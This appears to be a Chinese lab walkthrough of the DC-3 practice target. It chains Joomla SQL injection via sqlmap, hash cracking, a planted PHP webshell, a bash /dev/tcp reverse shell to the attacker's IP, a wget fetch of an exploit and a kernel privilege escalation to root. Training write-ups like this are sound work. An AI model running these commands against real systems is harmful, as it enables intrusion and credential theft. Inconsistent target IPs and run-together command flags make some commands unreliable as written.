01 项目安装
首先咱们需要将DC-3的靶机下载,并安装到咱们的靶机上
下载地址是:https://www.five86.com/dc-3.html
进入页面点击here
进行下载
下载好之后,导入咱们的虚拟机
看到这个页面,表示我们靶机安装成功,接下来就是攻略掉它,拿到最高权限
02 信息收集
首先我们得知道咱们靶机的ip,和信息,进入我们的kali执行下面代码
#获取ip地址
netdiscover -r 192.168.1.0/24
拿到靶机地址
kali执行
#获取靶机端口开放信息
nmap -A 192.168.1.161 -p1-65535
可以查看到靶机的端口信息
可以看到靶机开启了80端口,页面访问一下
可以访问成功
执行命令,扫描后台地址
dirb http://192.168.1.116
可以看到后台地址是:http://192.168.1.116/administrator/
访问一下
可以看到系统是三大CMS系统之一的Joomla
03 Joomla扫描器 joomscan
既然知道了这个系统是Joomla搭建的,那咱们可以使用 joomscan扫描器,因为这个扫描器就是为了专门扫描Joomla而生的
首先我们需要在kali中安装 joomscan
执行
#安装命令
apt-get install joomscan
#可以看到安装的版本信息
joomscan -version
在kali中执行,获取joomla的指纹信息
joomscan -u http://192.168.102.116/administrator/
可以看到当前Joomla的版本号是3.7.0
04 漏洞利用
既然我们知道了Joomla的版本号,那我们可以使用searchsploit ,查看当前版本有哪些可以值得利用的漏洞
在kaili中执行
searchsploit Joomla 3.7.0
可以看到有注入sql注入漏洞,在42033当中
这里绝对路径是
/usr/share/exploitdb/exploits/
执行
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
可以看到sql注入脚本
05 sql注入
既然我们获得了sql注入脚本,那直接可以拿过来使用,记得修改下靶机的Ip地址
#获取当前数据库
sqlmap -u"http://192.168.1.116//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3--level=5--
random-agent--dbs-p list[fullordering]
可以看到数据库为oomladb
,知道了数据库,接下来获取一下表
#获取表
sqlmap -u"http://192.168.1.116//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3--level=5--
random-agent-D joomladb --tables-p list[fullordering]
可以看到有个#__users
的表,查看一下,一般登录数据都会存放在这个表中
#获取字段
sqlmap -u"http://192.168.1.116//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3--level=5--
random-agent-D"joomladb"-T"#__users" -columns -p list[fullordering]
获取到用户表的字段,接下来就是获取数据
#获取数据
sqlmap -u"http://192.168.1.116//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3--level=5--
random-agent-D"joomladb"-T"#__users" -C “name,password”--dump
-p list[fullordering]
获取到账户名和密码
账户:admin
密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
可是密码加密的,需要我们解密下
创建一个pa.txt文件,将密码放入其中,保存
vim pa.txt
执行
john pa.txt
可以获取解密后的密码是:snoopy
接着去后台登录一下
登录成功!
06 木马写入
在后台多浏览一下,发现看到 Templates模块下有php文件,那么这个地方可以写入木马
常见一个新的PHP文件,写入木马尝试一下
发现写入木马成功
根据页面的信息,获取文件的目录是:http://192.168.1.116/templates/beez3/html/
所以获取到木马的地址是:http://192.168.1.116/templates/beez3/html/op.php,使用蚁剑连接一下
连接成功
这个时候我们需要反弹shell一下
在kali中执行
#使用nc监听1234端口
nc-lvvp1234
在蚁剑的终端执行
bash-c'bash -i >& /dev/tcp/192.168.1.117/1234 0>&1'
我们在回到kali中可以看到
这时候拿到了shell
07 服务器操作
现在咱们就需要进行提权操作,可是执行一圈之后发现很多提权操作都无法进行
sudo -l 没有权限执行
在服务器上查看一圈之后,看到了两个信息
执行下面代码,可以看到靶机的服务器版本号
#查看版本
cat /proc/version
Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.120160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18
18:34:49 UTC 2016
www-data@DC-3:/var/www/html/templates/beez3/html$
#查看发行版信息
cat /etc/issue
Ubuntu 16.04 LTS n l
可以获取到靶机服务器的版本信息是 :Ubuntu 16.04, 看看是否有执行漏洞
在kali中执行
searchsploit Ubuntu 16.04
可以看到有很多漏洞利用,在这里我们使用39772.txt 这个漏洞
执行
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
可以看到提示说让我们去下载一个exp
下载之后,首先把exp放在kali中
然后执行命令
#使用python开启了一个http服务
python -m SimpleHTTPServer 9000
然后在靶机shell中执行
wget http://192.168.1.117:9000/39772.zip(ip是kail的ip)
可以看到上传成功
08 提权
首先解压exp
unzip 39772.zip
cd 39772
解压之后,可以看到两个tart文件,解压 exploit.tar
tar –xvf exploit.tar
解压成功
cd ebpf_mapfd_doubleput_exploit
执行
#编译文件
./compile.sh
执行
./doubleput
这个就是最终的提权脚本
执行成功之后,他会提示60s之后会弹出root的shell
等一下之后,执行:whoami,发现提权成功
在root目录下获取最终目标
渗透成功
09 总结
-
我们看到系统站点是Joomla时,我们可以使用扫描器 joomscan
-
我们可以通过指纹识别后的结果,通过searchsploit进行漏洞查找,从而进行漏洞利用
-
熟练掌握反弹shell的各种方法
-
通过网络服务可以将文件下载到靶机当中
-END-
微信号:Zero-safety
-扫码关注我们-
带你领略不一样的世界
本文始发于微信公众号(零度安全攻防实验室):打靶系列之 -DC -3
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论